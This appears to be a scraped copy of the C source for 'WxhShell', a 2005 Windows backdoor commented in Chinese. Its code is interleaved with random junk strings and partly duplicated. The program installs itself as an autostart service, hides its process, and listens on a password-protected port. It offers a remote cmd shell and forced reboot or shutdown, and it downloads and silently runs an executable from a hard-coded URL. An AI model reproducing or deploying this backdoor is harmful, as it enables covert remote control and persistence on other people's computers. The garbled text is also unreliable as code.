NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D|C!KF ( )h%tEY$AJ if (!NtQueryInformationProcess) return 0; Lp{uA4:=K b u/GaE~ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )Ee`11 if(!hProcess) return 0; =@;\9j @# p{,L if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c5eimA%` Fe 78YDx? CloseHandle(hProcess); uH} }z ! B1U7z1< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .T~Oc'wGo if(hProcess==NULL) return 0; $C{-gx+: ]PH'G>x HMODULE hMod; =^ x1:Ak char procName[255]; %$R]NL| unsigned long cbNeeded; Uo:=-NNI CY@#_z if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q\le3KB #.@D}7y5 CloseHandle(hProcess); kbx4I? al]-*=v7} if(strstr(procName,"services")) return 1; // 以服务启动 Cj6$W5I m thh0~g0/ return 0; // 注册表启动 AHP;N6Y6 } [@$t35t~ 7t%
|s!~ // 主模块 U,\t2z int StartWxhshell(LPSTR lpCmdLine) |198A,^ { ZlL]AD@ SOCKET wsl; F^wm&:%{` BOOL val=TRUE; D'_w
* int port=0; 7}fT7tsN struct sockaddr_in door; HAcC& s8 =|3*Y0 if(wscfg.ws_autoins) Install(); M+M\3U }}d,xI port=atoi(lpCmdLine); WSx0o} { =IAS} if(port<=0) port=wscfg.ws_port; E*UE?4FSw| ]6?6 k4@ WSADATA data; v==/tr) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CDG,l7 NMH'4R if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; CGZ3-OW@E setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z
dUSmb door.sin_family = AF_INET; ff2`4_,| door.sin_addr.s_addr = inet_addr("127.0.0.1"); U;Q?Rh-W door.sin_port = htons(port); Z2I2 [pA G9ra;.
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {60U6n closesocket(wsl); `mDCX return 1; 6"U$H$i.G } `R_;n#3F0 2?(dS if(listen(wsl,2) == INVALID_SOCKET) { z~RE}k closesocket(wsl); Nb/Z + return 1; ~d=Y98'xS } a`; nB E Wxhshell(wsl); ^[hx`Rh`t WSACleanup(); 03dmHg.E!E &^K,"a{ return 0; _h P7hhR 7^]KQ2fF
8 } &]1gx# 2Afg.-7EP // 以NT服务方式启动 LVBE+{P\5? VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )SWLX\b { ![aa@nOSa DWORD status = 0; 8/ PS#dM\ DWORD specificError = 0xfffffff; .]K{8[:hq X32{y973hT serviceStatus.dwServiceType = SERVICE_WIN32; 9 EV. ![ serviceStatus.dwCurrentState = SERVICE_START_PENDING; )8JM.:, serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mW 'sdb serviceStatus.dwWin32ExitCode = 0; '0jn|9l58 serviceStatus.dwServiceSpecificExitCode = 0; Dq9*il;' serviceStatus.dwCheckPoint = 0; rc7^~S]5 serviceStatus.dwWaitHint = 0; *L#\#nh7 mBg$eiGTB hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yey]#M[y if (hServiceStatusHandle==0) return; ~y8KQ-1n" Na$[nv8qh status = GetLastError(); h%>yErs if (status!=NO_ERROR) (cm8x { )cBO_
serviceStatus.dwCurrentState = SERVICE_STOPPED; lWk/vj<5 serviceStatus.dwCheckPoint = 0; 'DtC= serviceStatus.dwWaitHint = 0; 9 kLA57 serviceStatus.dwWin32ExitCode = status; }<=_&n serviceStatus.dwServiceSpecificExitCode = specificError; "<yJ<lS&> SetServiceStatus(hServiceStatusHandle, &serviceStatus); klx28/] return; P?j ;&@$^e } YaAOP'p Ew*SA serviceStatus.dwCurrentState = SERVICE_RUNNING; irKM?#h serviceStatus.dwCheckPoint = 0; 9qX)FB@'i; serviceStatus.dwWaitHint = 0; XW q@47FR if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j4}Q } V5bB$tL}3 T3h 1eU // 处理NT服务事件,比如:启动、停止 *w[0uQL5Z VOID WINAPI NTServiceHandler(DWORD fdwControl) NbUbLzE { Eanwk` Rx switch(fdwControl) "{M?,jP# { v]hu5t case SERVICE_CONTROL_STOP: O{ |Ug~ serviceStatus.dwWin32ExitCode = 0; #=
@?)\~ serviceStatus.dwCurrentState = SERVICE_STOPPED; dc,qQM serviceStatus.dwCheckPoint = 0; b-HELS`nX serviceStatus.dwWaitHint = 0; C,VvbB { sTw+.m{F SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^_\%?K_u } U*7x81v?j return; |?4NlB6 case SERVICE_CONTROL_PAUSE: "WzD+<oL serviceStatus.dwCurrentState = SERVICE_PAUSED; ?OVje9 break; Gm-V/[29R case SERVICE_CONTROL_CONTINUE: z^\-x9vL serviceStatus.dwCurrentState = SERVICE_RUNNING; q:u,)6 break; 8Cw3b\ne case SERVICE_CONTROL_INTERROGATE: Tx|y!uHh break; }mOo= )C! }; gvoYyO#cm SetServiceStatus(hServiceStatusHandle, &serviceStatus); _[$,WuG1 } lYhC2f
m_ k[{ ~eN: // 标准应用程序主函数 ~ ;ObT= int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |X;|=. { y'm5Z-@o6 8\HzFB // 获取操作系统版本 *g[MGyF" OsIsNt=GetOsVer(); Cm;M;
? GetModuleFileName(NULL,ExeFile,MAX_PATH); &6nLnMF8x nfksi``Vq // 从命令行安装 t
{H{xd if(strpbrk(lpCmdLine,"iI")) Install(); a6\`r^ @ j?1wP6/NP // 下载执行文件 1x^Vv;K if(wscfg.ws_downexe) { Q AX3*%h if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) heQyz|o WinExec(wscfg.ws_filenam,SW_HIDE); |G/WS0 } 2ae"Sd!-2 <"{VVyK if(!OsIsNt) { }mpFo2 // 如果时win9x,隐藏进程并且设置为注册表启动 ~,.'#=V HideProc(); )
(0=w4 StartWxhshell(lpCmdLine); DqHJ *x4 } aATNeAR else C!)ZRuRv if(StartFromService()) OxN[w|2\4 // 以服务方式启动 0G`@^` StartServiceCtrlDispatcher(DispatchTable); /h9v'Y}c else zJov*^T-C // 普通方式启动 yX/{eX5dr StartWxhshell(lpCmdLine); $N\k*= 8&yI1XM| return 0; UT0}Ce>e } 7QRkXs \&[(PNl LZ RP}| ic}mru =========================================== L}rYh`bUP[ 0X5b32 K
#}t\ h 27f0x9 ^0 &jy:{ iP6?[pl8 " NuW6~PV N9 h|_ax #include <stdio.h> ]A%~bQ7 #include <string.h> \}W ! #include <windows.h> Z"$iB-] #include <winsock2.h> )YW"Zo8~!1 #include <winsvc.h> Wg,7k9I #include <urlmon.h> pfHfw,[ n;wViw #pragma comment (lib, "Ws2_32.lib") %<fs \J^k #pragma comment (lib, "urlmon.lib") >R5A@0@d5 8Oz9 UcG #define MAX_USER 100 // 最大客户端连接数 ,0{x-S0jX< #define BUF_SOCK 200 // sock buffer <<R2
X1 #define KEY_BUFF 255 // 输入 buffer w |abaMam 7^tYtMm|U #define REBOOT 0 // 重启 YdyTt5- #define SHUTDOWN 1 // 关机 WtO@Kf:3GH d:"7Tw2v+ #define DEF_PORT 5000 // 监听端口 yhrjML2K @0(%ayi2Y #define REG_LEN 16 // 注册表键长度 y?U@F/^}N #define SVC_LEN 80 // NT服务名长度 FC
WF$'cO dh9@3. t // 从dll定义API #}l$<7ZU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n|Ts:>`V typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %xr'96d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _0UE*l$t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =J|jCK[r BS(jC // wxhshell配置信息 \Foo:jON struct WSCFG { &2S-scP int ws_port; // 监听端口 k(o(:-+x char ws_passstr[REG_LEN]; // 口令 31UxYBY int ws_autoins; // 安装标记, 1=yes 0=no uIBN
!\j char ws_regname[REG_LEN]; // 注册表键名
En)Ptz#0 char ws_svcname[REG_LEN]; // 服务名 0!oqP1 char ws_svcdisp[SVC_LEN]; // 服务显示名 [w!T
char ws_svcdesc[SVC_LEN]; // 服务描述信息 2|ej~}Y char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q" EW*k+
) int ws_downexe; // 下载执行标记, 1=yes 0=no e N v\ZR1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O p1TsRm5L char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Uz~B` Kwi+}B! }; UA4c4~$S (V1;`sI8 // default Wxhshell configuration O(VWJ@EHn struct WSCFG wscfg={DEF_PORT, rT\~VJ>+i "xuhuanlingzhe", mE_% 1, h=\1ZQKC) "Wxhshell", I L,l XB< "Wxhshell", v|KIVBkbT "WxhShell Service", +r7hc;+G "Wrsky Windows CmdShell Service", ]=9 d'WL "Please Input Your Password: ", {]dG 9 1, \GQRpJ#h1 "http://www.wrsky.com/wxhshell.exe", WP?]"H "Wxhshell.exe"
"a9j2+9 }; @,7r<6E P_'{|M<? // 消息定义模块 -v-kFzu char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ![$`Ivro` char *msg_ws_prompt="\n\r? for help\n\r#>"; [+QyKyhTO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; `wZ char *msg_ws_ext="\n\rExit."; <-fvYer char *msg_ws_end="\n\rQuit."; BMI`YGjY1 char *msg_ws_boot="\n\rReboot..."; `e fiX^ char *msg_ws_poff="\n\rShutdown..."; H\H7a.@nkF char *msg_ws_down="\n\rSave to "; !#~KSO}zW2 Uk*(C( char *msg_ws_err="\n\rErr!"; v_Df+ char *msg_ws_ok="\n\rOK!"; }V*?~.R `Tf}h8* char ExeFile[MAX_PATH]; ` &bF@$(( int nUser = 0; kvuRT`/ HANDLE handles[MAX_USER]; m5&Ht (I%n int OsIsNt; X)6 G :cD l0;u$ SERVICE_STATUS serviceStatus; H-nhq-fut SERVICE_STATUS_HANDLE hServiceStatusHandle; a6cU<(WDeh .dVV#
H // 函数声明 g],]l'7H int Install(void); $STGH int Uninstall(void); V8nQ/9R; int DownloadFile(char *sURL, SOCKET wsh); $_;rqTk]g int Boot(int flag); <Np Mv!g void HideProc(void); ij#v_~g3 int GetOsVer(void); i /I
int Wxhshell(SOCKET wsl); ]*'_a@h void TalkWithClient(void *cs); Lq
;~6 int CmdShell(SOCKET sock); Nsq=1)
< int StartFromService(void); U<;{_!] int StartWxhshell(LPSTR lpCmdLine); bq)1'beW S7WHOr9XMV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^*4#ZvpG2 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6"Lyv Q)BSngW+ // 数据结构和表定义 mdyl;e{0 SERVICE_TABLE_ENTRY DispatchTable[] = n1GX`K { Dt> tTU 6 {wscfg.ws_svcname, NTServiceMain}, $]Ix(7@W {NULL, NULL} tu"-]^ }; 1*G&ZI f0Q! lMv // 自我安装 U,7 int Install(void) jnbR}a=fJ { >~Gy+- char svExeFile[MAX_PATH]; ;?@Rq"* HKEY key; Mpyza%zj strcpy(svExeFile,ExeFile); !/tV}.* yUD@oOVC0 // 如果是win9x系统,修改注册表设为自启动 YgjW%q if(!OsIsNt) { |bSAn*6b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {D^
)%{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ULu@" RegCloseKey(key); ,/GFD[SQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5Za<]qxr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >yLDU_P) RegCloseKey(key); rir,|y, return 0; $xdo=4;| } d*e8P ep } qdwo 2u } EtPB_!
+ else { EPLHw eY`9J4o ' // 如果是NT以上系统,安装为系统服务 37:tu7e~c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); QxaMe8( if (schSCManager!=0) Og1\6Q { ?Fa$lE4 SC_HANDLE schService = CreateService &Ep$<kx8 ( VyNF)$'T schSCManager, }Hg\
tj}i wscfg.ws_svcname, Ye4
&4t wscfg.ws_svcdisp, tDah@_ SERVICE_ALL_ACCESS, `>g\gaQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xi.?@Lff SERVICE_AUTO_START, y7CXE6Y SERVICE_ERROR_NORMAL, "Dk@-Ac svExeFile, [tSv{
NULL, eN|zD?ba& NULL, T"3LO[j+ NULL, bv(+$YR NULL, 0%,W5w NULL YfZ5Q}*1O+ ); ib
'l:GM if (schService!=0) 2-qWR<E { 42hG}Gt CloseServiceHandle(schService); *y|w9rp CloseServiceHandle(schSCManager); U?|A3;,xh strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !BrZTo strcat(svExeFile,wscfg.ws_svcname); 9}2/ko if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3AR'Zvn RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gw-{`<CxE RegCloseKey(key); tC$+;_=+F return 0; j|o/>^ 'e } ? eI)m } ow
6\j:$? CloseServiceHandle(schSCManager); -L2 +4 } K%BFR,)g } ^/Yk*Ny ^t<L return 1; rfQs
7S;G } g0a!auWM WuF\{bUh // 自我卸载 K*'AjT9wX+ int Uninstall(void) WdC7CK { f>mEX='w HKEY key; ;sf'"UnL rGt]YG#C if(!OsIsNt) { ak3WER|f# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o](ORS$~ RegDeleteValue(key,wscfg.ws_regname); !IC
.0I` RegCloseKey(key); 5oYeUy>N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X2| Z! RegDeleteValue(key,wscfg.ws_regname); Bs`='w%7 RegCloseKey(key); oz:J.<j24Z return 0; d3?gh[$ } :mCGY9d4L } +JD^5J,-NJ } >2}*L"YC else { _f "I%QTL I 6<LKI/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R*W1<W%q= if (schSCManager!=0) "FGgem%9 { _h=h43'3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s:,fXg25J if (schService!=0) GO][`zZJ] { XM?c*,=fu if(DeleteService(schService)!=0) { p((. (fx CloseServiceHandle(schService); Cx(HsJ!, CloseServiceHandle(schSCManager); JPT&!%~ return 0; U'5p;j)_ } lu.xv6+ CloseServiceHandle(schService); w8>bct3@ } U;.cXU{ CloseServiceHandle(schSCManager); I|>IV } ci(BPnQ } -ECnX/ " p"cY/2w:j return 1; WwSyw?T } @.`HvS GLV`IkU % // 从指定url下载文件 G8^b9xoA+. int DownloadFile(char *sURL, SOCKET wsh) Pj8Vl)8~NV { }gX4dv
B HRESULT hr; 5/m*Lc+r char seps[]= "/"; FEa%wS{ char *token; Mwj7*pxUh char *file; {Y]3t9!\ char myURL[MAX_PATH]; N;m62N char myFILE[MAX_PATH]; _A]~`/0;` #LwDs,J :
strcpy(myURL,sURL); B]7QOf" token=strtok(myURL,seps); &\/}.rF while(token!=NULL) iHo0:J~ { *;t_VlaZ file=token; n1+J{EPH token=strtok(NULL,seps); )5;|mV } _J3\e%ys =`gFwH< GetCurrentDirectory(MAX_PATH,myFILE); KHaYb5(a[ strcat(myFILE, "\\"); u8y('\( strcat(myFILE, file); 2@ZuH^qhk send(wsh,myFILE,strlen(myFILE),0); CFY4PuI"! send(wsh,"...",3,0); W$" >\A0% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }LZz"b<aw if(hr==S_OK) )GC[xo4bg return 0; 63i&e/pv else 9B3}LVg\ return 1; :J5CmU$ FEA/}*2F } (%M:=zm 9 &Od7Cn
// 系统电源模块 _8z int Boot(int flag) ,(#n8|q4 { #M[Cq= 2 HANDLE hToken; *K=me/
3 TOKEN_PRIVILEGES tkp; R*O6Z"h T5 BoOVgO if(OsIsNt) { uC`)?f*I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W?12'EG}xa LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JlH5 <:#PN tkp.PrivilegeCount = 1; OPKmYzf@b tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {+QQ<)l^tJ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jRjQDK_"ka if(flag==REBOOT) { MP 8s} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GlXzH1wZ return 0; U3c !*i } yucbEDO. else { SY2((!n._ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R&}{_1dj8 return 0; Z:MU5(Te } =(5}0}j } QV%eTA else { b@[5xv\J if(flag==REBOOT) { ~x+24/qT if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TUO#6 return 0; Zxv{qbF } FEg&EYI
else { pM@0>DVi if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :3*0o3C/ return 0; Bk1gE(( } %5bN@XD } ]p~,C*UH0 &T-udgR9 return 1; \6Hu&WHy } 4\8k~# W;wu2 ' // win9x进程隐藏模块 nHL(v void HideProc(void) zd[cp@ {
qZP>h4 #1f8A5< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gC S%J40r if ( hKernel != NULL ) F(:]lM| { 3gmu-tv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ps?B;P ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .gHL(*1P FreeLibrary(hKernel); ,b8B)VZ? } b;sjw5cm_ v~HfA)#JK return; -U_<: } YJrZ t)~v5vr // 获取操作系统版本 E|^~R}z) int GetOsVer(void) 1Xu^pc { %(wa~:m+S- OSVERSIONINFO winfo; qdVExO& winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mh`VZQ@ GetVersionEx(&winfo); v~>4c<eG
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &+t,fwlM return 1; >@d=\Kyu else *gzX=*;x+? return 0; 7":0CU%% } 7J2i /m g8w5X!Z
// 客户端句柄模块 b$ )XS int Wxhshell(SOCKET wsl) yq>3IS4O { MA:8gD SOCKET wsh; +#y[sKa struct sockaddr_in client; E>?T<!r~j DWORD myID; Tp/+{|~ )zVD!eG_9 while(nUser<MAX_USER) 5gbJTh<JU { T|[o int nSize=sizeof(client); #|
Et9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w_i$/`i+ if(wsh==INVALID_SOCKET) return 1; 6*2z^P9FRj I6FglVQ6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G%K<YyAP if(handles[nUser]==0) (UTt_ry g closesocket(wsh); TNC,{sM else XA:v:JFS nUser++;
Eyu?T } 52#@.Qa WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s&$Zgf6Z Mzx y'UV return 0; X/nb7_M } m:~s6c6H EmR#)c~(W // 关闭 socket b-+iL void CloseIt(SOCKET wsh) `+QrgtcEy4 { Ip4SdbU closesocket(wsh); PF-
sb&q nUser--; G}\E{VvWh ExitThread(0); l$Y7CIH } %-:6#bz l>M&S^/s j // 客户端请求句柄 @Tr8.4 void TalkWithClient(void *cs) vf(\?Js, { kqA`d `r iK[@ SOCKET wsh=(SOCKET)cs; ( UV8M\ char pwd[SVC_LEN]; .
\fzK char cmd[KEY_BUFF]; p]#%e0 char chr[1]; fF8g3|p: int i,j; :U<`iJwY ?ei7jM", while (nUser < MAX_USER) { QS y=JC9 /cDla5eej if(wscfg.ws_passstr) { ` oYrW0Vm if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '
7>V4\" //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PhM3?$ //ZeroMemory(pwd,KEY_BUFF); nK6{_Y> i=0; C(_xqn while(i<SVC_LEN) { u*&wMR>Crf 7{XI^I:n // 设置超时 l23#"gGb fd_set FdRead; K$\]\qG6 struct timeval TimeOut; VHB5 FD_ZERO(&FdRead); A=|&N%lP' FD_SET(wsh,&FdRead); O&irgc! TimeOut.tv_sec=8; %Ow,.+m TimeOut.tv_usec=0; 1NT@}j~/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z/N~HSh!d if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5o2;26c \ey3i((L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t*^Q`V wQ pwd=chr[0]; +B%ZB9 if(chr[0]==0xd || chr[0]==0xa) { nYMdYt04sl pwd=0; eEQ
4L\d break; 3m?3I2k } t8 #&bUX i++; X'WbS } -2mm
5E~N QE$sXP7&u // 如果是非法用户,关闭 socket y%\kgWV if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HkEfBQmh } Qg9 N?e{z }0|,*BkI
m send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KyNv)=x4c send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \
M8;CN }ruBbeQ while(1) { x2[A(O= FU~ Ip ZeroMemory(cmd,KEY_BUFF); izow=} -}{c;pT // 自动支持客户端 telnet标准 >ZuWsA0q j=0; /WB^h6qg while(j<KEY_BUFF) { 4lE
j/#} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /e6\F7 cmd[j]=chr[0]; O[;>Y'zqC% if(chr[0]==0xa || chr[0]==0xd) { uJm9h(xq cmd[j]=0; a}+|2k_ break; soXeHjNl } x\GCsVy j++; f 6Bx>lh } ; 7[5%xM `TOm.YZG // 下载文件 @%fNB,H` if(strstr(cmd,"http://")) { 5EIh5Y EU> send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^c!"*L0E if(DownloadFile(cmd,wsh)) (5re'Pl send(wsh,msg_ws_err,strlen(msg_ws_err),0); &hEtVkK else 7g cr$&+e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JVFn=Mw } Tz]t.]!&E else { ]i)m ,n}X,#] switch(cmd[0]) { xg k~y,F gN
Xg // 帮助 kcVEE)zb case '?': { kFW9@!9 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \vXo~ _-& break; {A2(a7vV } 8TZNvN4u // 安装 +dcBh Dq case 'i': { Q-_&5/G if(Install()) htj:Z:C` send(wsh,msg_ws_err,strlen(msg_ws_err),0); hMh8)S else <T+)~&g$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YN#i^( break; De@GNN"- } ,8nu%zcVn // 卸载 ]
hGU.C"( case 'r': { u;GS[E4 if(Uninstall()) i<l_z& send(wsh,msg_ws_err,strlen(msg_ws_err),0); K2<"O qp_W else 7,ysixY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V6B`q;lA break; j]#qq]c } 'z8?_{$ // 显示 wxhshell 所在路径 w
xKlBx7 case 'p': { Stq&^S\x69 char svExeFile[MAX_PATH]; qR/~a strcpy(svExeFile,"\n\r"); DpH+lpC strcat(svExeFile,ExeFile); \3LP@;Phn send(wsh,svExeFile,strlen(svExeFile),0); `+[Ct08 break; )HQ':ZE$ } #4AqWyp#f // 重启 ;xSlRTNT=6 case 'b': { Oiw!d6"Ovq send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V0bKtg1f?- if(Boot(REBOOT)) &m`@6\N(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MnQ 6 !1Z else { ]>0$l _V closesocket(wsh); %+dRjG~TB ExitThread(0); 6|Crc$4l } "Z"`X3,-z break; "2}n(8 } PkOtg[Z // 关机 ZC &~InN case 'd': { 9? |m ^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .4!wp& if(Boot(SHUTDOWN)) ^fU,9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); }]pO R&o else { 0a+U >S# closesocket(wsh); BO 3z$c1yU ExitThread(0); 9Z:pss@ } W,%qL6qV break; zB"y^g } 3P*"$ fH // 获取shell rY"EW"y case 's': { O_D;_v6Ii+ CmdShell(wsh); _z3^.QP closesocket(wsh); [5]*
Be ExitThread(0); =I$:-[( break; j2|UuWU } Iy2AJ|d. // 退出 I^QB`%v5 case 'x': { %"3tGi:/ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =/N0^ CloseIt(wsh); =Q8$O
2TW break; YY$O"!." } hw&~OJeo // 离开 jG^OF5. case 'q': { ra]\!;}L0 send(wsh,msg_ws_end,strlen(msg_ws_end),0); UQ2;Dg G% closesocket(wsh); mW."lzIl WSACleanup(); \U?{m)N exit(1); Bs-MoT! break; ."j*4 } ZQ~EaI9R } .a|ROjd! } XOzZtt =1j`VJU9 // 提示信息 jAD{?/RB} if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HF%)ip+ } 'L6+B1Op } PLWx'N-kqL 4hV~
ir return; ulXe;2 } KkZ o|\V D]Gt=2\NG9 // shell模块句柄 MLn?t^v- int CmdShell(SOCKET sock) G]I^ zd&P { j"<F?k@`Q STARTUPINFO si; ;4(FS ZeroMemory(&si,sizeof(si)); 1L.yh U\ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +C(/.X
Kz% si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E2|c;{c PROCESS_INFORMATION ProcessInfo; W.<I:q`eO char cmdline[]="cmd"; J]Qbg7| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [M:BJ%* return 0; D^2yP~( } :;Wh!8+j G6j9,#2@ // 自身启动模式 $!"*h
int StartFromService(void) v:Z.8m8D { FuO'%3;c typedef struct gx6$:j; { }!Xj{Eoc DWORD ExitStatus; xW'(]Z7_ DWORD PebBaseAddress; +tFl DWORD AffinityMask; 4";[Xr{pW DWORD BasePriority; ,:/3'L ULONG UniqueProcessId; %D*yXNsY ULONG InheritedFromUniqueProcessId; 3Y=?~!,Jk } PROCESS_BASIC_INFORMATION; q0QB[)AP rKW kT" PROCNTQSIP NtQueryInformationProcess; C AF{7 `{ sm @Ot~; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n&}ILLc static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #)$@Kvm t>%J3S>'ZV HANDLE hProcess; 2;=xHt PROCESS_BASIC_INFORMATION pbi; ~D\ V! !4
G9`>n HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nK|WzUtp if(NULL == hInst ) return 0; ZIM 5$JdCv ?!kPW^gD g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eMDraJv@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vh^,8pPy NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _cH 7lO[ c*x5t"{ if (!NtQueryInformationProcess) return 0; )~[hf,R5S p'IF2e&z hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "# BI" if(!hProcess) return 0; a;e~D
9%1 '#0'_9} if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p/inATH V$fvf#T CloseHandle(hProcess);
